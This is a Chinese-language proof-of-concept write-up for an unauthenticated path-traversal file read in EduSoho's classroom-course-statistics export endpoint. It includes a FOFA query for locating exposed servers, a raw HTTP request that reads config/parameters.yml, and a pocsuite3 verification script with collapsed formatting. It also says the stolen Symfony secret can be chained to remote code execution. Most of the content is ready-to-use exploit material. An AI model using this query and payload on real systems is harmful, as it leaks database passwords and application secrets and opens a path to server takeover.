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漏洞描述

教培系统classroom-course-statistics接口存在未授权任意文件读取漏洞，通过该漏洞攻击者可以读取到config/parameters.yml文件的内容，拿到该文件中保存的secret值以及数据库账号密码等敏感信息。拿到secret值后，攻击者可以结合symfony框架_fragment路由实现RCE。

fofa语句

title="Powered By EduSoho" || body="Powered by <a href=\"http://www.edusoho.com/\" target=\"_blank\">EduSoho" || (body="Powered By EduSoho" && body="var app")

poc加检测

GET /export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

poc脚本

脚本使用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2024/1/27
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass edusoho_files_fileread(POCBase):pocDesc = '''EduSoho任意文件读取漏洞'''author = '炼金术师诸葛亮'createDate = '2024-1-27'name = 'EduSoho任意文件读取漏洞'#	title="Powered By EduSoho" || body="Powered by <a href=\"http://www.edusoho.com/\" target=\"_blank\">EduSoho" || (body="Powered By EduSoho" && body="var app")def _verify(self):result = {}url = self.url+ '/export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml'headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"}try:response = requests.get(url,headers=headers)if response.status_code == 200 and 'parameters' in response.text:result['VerifyInfo'] = {}return self.parse_output(result)except Exception as e:passregister_poc(edusoho_files_fileread)

脚本利用